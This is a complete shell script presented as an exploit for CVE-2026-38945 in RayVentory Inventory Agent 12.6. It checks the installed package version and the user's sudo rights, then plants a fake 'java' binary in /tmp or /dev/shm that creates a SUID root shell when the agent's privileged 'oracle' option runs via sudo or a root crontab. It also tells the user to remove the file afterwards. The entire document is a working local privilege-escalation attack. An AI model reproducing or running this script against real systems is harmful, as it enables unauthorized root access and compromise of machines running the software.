#!/bin/sh # Author: Rafael José Núñez Gulías, aka rafnar or hvemerjeg # Company: Iberian Var Group # Description: Exploit for CVE-2026-38945 affecting RayVentory Scan Engine 12.6 Update 8 and previous versions DEB_NON_VULNERABLE_VERSION_ARM64="12.6.4399.38" DEB_NON_VULNERABLE_VERSION_X86_64="12.6.4399.57" DEB_NON_VULNERABLE_VERSION_X86="12.6.4399.59" RPM_NON_VULNERABLE_VERSION_AARCH64="12.6.4399.9-9" RPM_NON_VULNERABLE_VERSION_X86_64="12.6.4399.120-120" RPM_NON_VULNERABLE_VERSION_X86="12.6.4399.101-101" SCRIPT="java" PERMISSIONS="false" ctrlC() { printf "\n[+] Exit\n" >&2 sleep 1 clean exit 1 } trap ctrlC INT Help() { exit_code=$1 printf '%s\t%s\n' "-h" "Show help" printf '%s\t%s\n' "-d" "Distro based package: rpm or deb expected. This option is mandatory" printf '%s\t%s\n' "-t" "Check vulnerable, do not exploit." printf '%s\t%s\n' "-e" "Check vulnerable and exploit" exit $exit_code } exploitCVE() { printf "[+] Exploiting CVE-2026-38945\n" createScript "$SCRIPT" checkPermissions if [ $PERMISSIONS = "true" ] then sudo /opt/rvia/rvia oracle >/dev/null 2>&1 || sudo /opt/rvia/rvia oracle t=t >/dev/null 2>&1 checkExploitationSuccess fi printf '[+] You need to wait for crontab that triggers oracle option with privileges to run. After being triggered a sh with SUID should appear at %s. Good luck :)\n' "$TARGET_DIRECTORY" printf '[+] After getting your privesc remember to remove %s' "${TARGET_DIRECTORY}/${SCRIPT}" } checkPermissions() { sudo_config=$(sudo -l 2>/dev/null | grep '/rvia') pattern1=$(printf '%s' "$sudo_config" | grep -E "/opt/rvia/rvia( \*)?$|/opt/rvia/rvia( \*)?,|/opt/rvia/rvia oracle") if [ -n "$pattern1" ] && printf '%s' "$pattern1" | grep -Eq '\(root\)|\(ALL:ALL\)|\(ALL\)' then VULNERABLE_SUDO_CONFIG=$(printf '%s' "$pattern1" | grep -E '\(root\)|\(ALL:ALL\)|\(ALL\)') printf "[+] User has sudo permissions to run oracle option\n" PERMISSIONS="true" fi } checkExploitationSuccess() { if [ -f "${TARGET_DIRECTORY}/sh" ] then clean "${TARGET_DIRECTORY}/sh" -p exit 0 else printf "[!] Exploit failed\n" >&2 fi } checkVulnerable() { getArchitecture if [ "$distro" = 'rpm' ] then rpm -q rvia >/dev/null if [ $? -ne 0 ] then printf "[!] RayVentory Inventory Agent is not installed in the rpm based system\n" exit 0 fi version=$(rpm -q --qf "%{VERSION}-%{RELEASE}" rvia) command -v rpmdev-vercmp >/dev/null if [ $? -eq 1 ] then printf "rpmdevtools is not installed\n" >&2 exit 1 fi if [ "$architecture" = "x86_64" ] then vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_X86_64" | grep -q '<') elif [ "$architecture" = "i386" ] then vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_X86" | grep -q '<') elif [ "$architecture" = "aarch64" ] then vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_AARCH64" | grep -q '<') else printf "Unknown architecture\n" >&2 exit 1 fi if [ $? -eq 0 ] then printf '[+] RayVentory Inventory Agent installed version %s is vulnerable to CVE-2026-38945\n' "$version" else printf '[!] RayVentory Inventory Agent installed version %s is not vulnerable to CVE-2026-38945\n' "$version" exit 0 fi elif [ "$distro" = 'deb' ] then package_info=$(dpkg -l | grep rvia) installed=$(printf '%s' "$package_info" | awk '{print $1}') version=$(printf '%s' "$package_info" | awk '{print $3}') if [ "$installed" != 'ii' ] then printf "[!] RayVentory Inventory Agent is not installed in the deb based system\n" exit 0 fi if [ "$architecture" = "x86_64" ] then vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_X86_64") elif [ "$architecture" = "i386" ] then vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_X86") elif [ "$architecture" = "aarch64" ] then vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_ARM64") else printf "Unknown architecture\n" >&2 exit 1 fi if [ $? -eq 0 ] then printf '[+] RayVentory Inventory Agent installed version %s is vulnerable to CVE-2026-38945\n' "$version" else printf '[!] RayVentory Inventory Agent installed version %s is not vulnerable to CVE-2026-38945\n' "$version" exit 0 fi else printf '[!] Check for distro %s based not supported\n' "$distro" >&2 exit 1 fi } getArchitecture() { architecture=$(uname -m) } checkMounts() { if ! $(findmnt -no OPTIONS /tmp | grep nosuid) then TARGET_DIRECTORY="/tmp" return fi if ! $(findmnt -no OPTIONS /dev/shm | grep nosuid) then TARGET_DIRECTORY="/dev/shm" return fi printf "[!] /tmp and /dev/shm are mounts and have nosuid option\n" >&2 exit 1 } createScript() { checkMounts exploit_name="$1" mkdir -p "${TARGET_DIRECTORY}/jdk/bin" TARGET_DIRECTORY="${TARGET_DIRECTORY}/jdk/bin" cat > "${TARGET_DIRECTORY}/${exploit_name}" << EOF #!/bin/sh /usr/bin/cp /bin/sh "${TARGET_DIRECTORY}/sh" && /usr/bin/chmod u+s "${TARGET_DIRECTORY}/sh" EOF chmod o+rx "${TARGET_DIRECTORY}/${exploit_name}" printf '[+] Malicious java created at %s\n' "${TARGET_DIRECTORY}/${exploit_name}" } clean() { rm "${TARGET_DIRECTORY}/${SCRIPT}" >/dev/null 2>&1 } main() { while getopts "tehd:" option do case "$option" in t) test="1";; d) distro="$OPTARG";; e) _exploit="1";; h) Help;; *) Help 1;; esac done if [ -z "$distro" ] then printf "[!] -d option needs to be defined\n\n" >&2 Help 1 fi if [ -n "$_exploit" ] && [ -n "$test" ] then printf "[!] It is not possible to use both -e and -t options at the same time\n" >&2 exit 1 fi if [ -n "$_exploit" ] then checkVulnerable exploitCVE elif [ -n "$test" ] then checkVulnerable else Help 1 fi } main "$@"